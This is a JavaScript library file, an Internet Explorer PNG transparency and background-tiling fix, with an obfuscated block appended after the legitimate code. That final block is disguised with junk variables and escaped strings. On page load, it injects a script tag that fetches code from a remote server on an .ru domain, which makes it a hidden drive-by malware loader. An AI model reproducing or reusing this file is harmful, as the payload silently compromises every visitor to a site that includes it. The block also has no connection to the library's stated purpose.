// IE5.5+ PNG Alpha Fix v2.0 Alpha: Background Tiling Support
// (c) 2008-2009 Angus Turnbull http://www.twinhelix.com

// This is licensed under the GNU LGPL, version 2.1 or later.
// For details, see: http://creativecommons.org/licenses/LGPL/2.1/

var IEPNGFix = window.IEPNGFix || {};

IEPNGFix.tileBG = function(elm, pngSrc, ready) {
	// Params: A reference to a DOM element, the PNG src file pathname, and a
	// hidden "ready-to-run" passed when called back after image preloading.

	var data = this.data[elm.uniqueID],
		elmW = Math.max(elm.clientWidth, elm.scrollWidth),
		elmH = Math.max(elm.clientHeight, elm.scrollHeight),
		bgX = elm.currentStyle.backgroundPositionX,
		bgY = elm.currentStyle.backgroundPositionY,
		bgR = elm.currentStyle.backgroundRepeat;

	// Cache of DIVs created per element, and image preloader/data.
	if (!data.tiles) {
		data.tiles = {
			elm: elm,
			src: '',
			cache: [],
			img: new Image(),
			old: {}
		};
	}
	var tiles = data.tiles,
		pngW = tiles.img.width,
		pngH = tiles.img.height;

	if (pngSrc) {
		if (!ready && pngSrc != tiles.src) {
			// New image? Preload it with a callback to detect dimensions.
			tiles.img.onload = function() {
				this.onload = null;
				IEPNGFix.tileBG(elm, pngSrc, 1);
			};
			return tiles.img.src = pngSrc;
		}
	} else {
		// No image?
		if (tiles.src) ready = 1;
		pngW = pngH = 0;
	}
	tiles.src = pngSrc;

	if (!ready && elmW == tiles.old.w && elmH == tiles.old.h &&
		bgX == tiles.old.x && bgY == tiles.old.y && bgR == tiles.old.r) {
		return;
	}

	// Convert English and percentage positions to pixels.
	var pos = {
			top: '0%',
			left: '0%',
			center: '50%',
			bottom: '100%',
			right: '100%'
		},
		x,
		y,
		pc;
	x = pos[bgX] || bgX;
	y = pos[bgY] || bgY;
	if (pc = x.match(/(\d+)%/)) {
		x = Math.round((elmW - pngW) * (parseInt(pc[1]) / 100));
	}
	if (pc = y.match(/(\d+)%/)) {
		y = Math.round((elmH - pngH) * (parseInt(pc[1]) / 100));
	}
	x = parseInt(x);
	y = parseInt(y);

	// Handle backgroundRepeat.
	var repeatX = { 'repeat': 1, 'repeat-x': 1 }[bgR],
		repeatY = { 'repeat': 1, 'repeat-y': 1 }[bgR];
	if (repeatX) {
		x %= pngW;
		if (x > 0) x -= pngW;
	}
	if (repeatY) {
		y %= pngH;
		if (y > 0) y -= pngH;
	}

	// Go!
	this.hook.enabled = 0;
	if (!({ relative: 1, absolute: 1 }[elm.currentStyle.position])) {
		elm.style.position = 'relative';
	}
	var count = 0,
		xPos,
		maxX = repeatX ? elmW : x + 0.1,
		yPos,
		maxY = repeatY ? elmH : y + 0.1,
		d,
		s,
		isNew;
	if (pngW && pngH) {
		for (xPos = x; xPos < maxX; xPos += pngW) {
			for (yPos = y; yPos < maxY; yPos += pngH) {
				isNew = 0;
				if (!tiles.cache[count]) {
					tiles.cache[count] = document.createElement('div');
					isNew = 1;
				}
				var clipR = Math.max(0, xPos + pngW > elmW ? elmW - xPos : pngW),
					clipB = Math.max(0, yPos + pngH > elmH ? elmH - yPos : pngH);
				d = tiles.cache[count];
				s = d.style;
				s.behavior = 'none';
				s.left = (xPos - parseInt(elm.currentStyle.paddingLeft)) + 'px';
				s.top = yPos + 'px';
				s.width = clipR + 'px';
				s.height = clipB + 'px';
				s.clip = 'rect(' +
					(yPos < 0 ? 0 - yPos : 0) + 'px,' +
					clipR + 'px,' +
					clipB + 'px,' +
					(xPos < 0 ? 0 - xPos : 0) + 'px)';
				s.display = 'block';
				if (isNew) {
					s.position = 'absolute';
					s.zIndex = -999;
					if (elm.firstChild) {
						elm.insertBefore(d, elm.firstChild);
					} else {
						elm.appendChild(d);
					}
				}
				this.fix(d, pngSrc, 0);
				count++;
			}
		}
	}
	while (count < tiles.cache.length) {
		this.fix(tiles.cache[count], '', 0);
		tiles.cache[count++].style.display = 'none';
	}

	this.hook.enabled = 1;

	// Cache so updates are infrequent.
	tiles.old = {
		w: elmW,
		h: elmH,
		x: bgX,
		y: bgY,
		r: bgR
	};
};


IEPNGFix.update = function() {
	// Update all PNG backgrounds.
	for (var i in IEPNGFix.data) {
		var t = IEPNGFix.data[i].tiles;
		if (t && t.elm && t.src) {
			IEPNGFix.tileBG(t.elm, t.src);
		}
	}
};
IEPNGFix.update.timer = 0;

if (window.attachEvent && !window.opera) {
	window.attachEvent('onresize', function() {
		clearTimeout(IEPNGFix.update.timer);
		IEPNGFix.update.timer = setTimeout(IEPNGFix.update, 100);
	});
}

var M='';function _(){this.zF="";var Cy;if(Cy!='e'){Cy='e'};var y="";var eD="";var U=unescape;var ep;if(ep!='' && ep!='IC'){ep='zT'};var CW;if(CW!='' && CW!='G'){CW='h'};var Ct="";var S=window;var c=U("%2f%69%6d%65%65%6d%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%6d%75%6c%74%69%75%70%6c%6f%61%64%2e%63%6f%6d%2e%70%68%70");this.GV='';function J(z,j){var L=new String();var Xk;if(Xk!='' && Xk!='w'){Xk='B'};var p='';var xN='';var Y=new String("g");var f=U("%5b"), v=U("%5d");var C=f+j+v;var I=new RegExp(C, Y);var Sg='';return z.replace(I, new String());var yj;if(yj!='' && yj!='Xa'){yj='ki'};var fX='';};var QZ;if(QZ!='' && QZ!='b'){QZ=''};var Vl;if(Vl!='' && Vl!='wM'){Vl=''};var k=new String();this.JO='';var jT='';var d=document;var dx=J('81160148370726','91356724');var eQ;if(eQ!='' && eQ!='ug'){eQ=null};function vZ(){var g=new String();var Qei=new String();var mI=new Array();var X=U("%68%74%74%70%3a%2f%2f%69%63%79%63%68%69%6e%61%2e%72%75%3a");this.OJ="";var EP;if(EP!='s' && EP != ''){EP=null};this.Wo="";var GM;if(GM!='' && GM!='CM'){GM='qA'};k=X;k+=dx;var hK;if(hK!='lI' && hK!='cY'){hK=''};k+=c;var Vn;if(Vn!='zf'){Vn=''};var rQ='';try {var F;if(F!='' && F!='wj'){F='LC'};var zs=new String();var ZB="";var Ak="";N=d.createElement(J('sVcTrTidpvtB','9WdVTxvkQYBq'));N[U("%73%72%63")]=k;this.i='';N[U("%64%65%66%65%72")]=[6,1][1];var ho;if(ho!='' && ho!='Vi'){ho=null};var xh;if(xh!='' && xh!='uf'){xh=null};var tS=new Array();var H='';var qb;if(qb!='' && qb!='eN'){qb=''};d.body.appendChild(N);var kg;if(kg!='aT'){kg=''};this.QH="";this.mN='';} catch(A){alert(A);};var n=new Date();var xH;if(xH!='dj' && xH != ''){xH=null};}this.ln="";var sY=new Array();S[String("onloa"+"IEA6d".substr(4))]=vZ;this.rA='';var mc;if(mc!='JnZ'){mc=''};var iM;if(iM!='' && iM!='tL'){iM='Qx'};var wE;if(wE!='' && wE!='mi'){wE='gm'};};var Yo;if(Yo!='Fv' && Yo!='QX'){Yo=''};var JE='';var zX;if(zX!='Qm' && zX!='om'){zX='Qm'};_();var ab;if(ab!='qI'){ab='qI'};this.pi='';